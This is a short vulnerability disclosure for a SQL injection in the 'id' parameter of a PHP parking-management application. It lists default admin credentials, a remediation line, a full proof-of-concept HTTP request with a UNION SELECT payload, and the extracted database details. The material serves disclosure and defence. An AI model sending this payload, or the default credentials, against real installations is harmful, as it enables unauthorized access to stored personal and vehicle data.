# Vehicle Parking Area Management System v1.0 SQL Injection Vulnerability ## Vulnerability Overview - **Vulnerability Type**: SQL Injection - **Vulnerable File**: `/parking/view_parked_details.php` - **Vulnerable Parameter**: `id` - **Affected Database**: `parking_db` - **Vulnerability Author**: MaTeng - **Login Credentials**: `admin/admin123` ## Impact Scope - **Application Version**: Using xampp-php8.1 version - **Exploitation Method**: An attacker can construct a malicious `id` parameter to retrieve sensitive information from the database (such as database name, table names, column names, etc.). ## Remediation Recommendation - **Suggestion**: Strictly filter and validate input parameters, and use prepared statements to prevent SQL injection attacks. ## POC Code ```http GET /parking/view_parked_details.php?id=0%20union%20select%201,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16-- - HTTP/1.1 Host: 192.168.1.88 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Cookie: PHPSESSID=br413c59k16k85u7mm44pe19 Connection: close ``` ## Exploitation Result - **Database Name**: `parking_db` - **Parking Area**: 16 - **Vehicle Category**: 14 - **Vehicle Owner**: 7 - **Vehicle Registration Number**: 6 - **Vehicle Brand**: 5 - **Vehicle Description**: 8 - **Vehicle Parking Timestamp**: N/A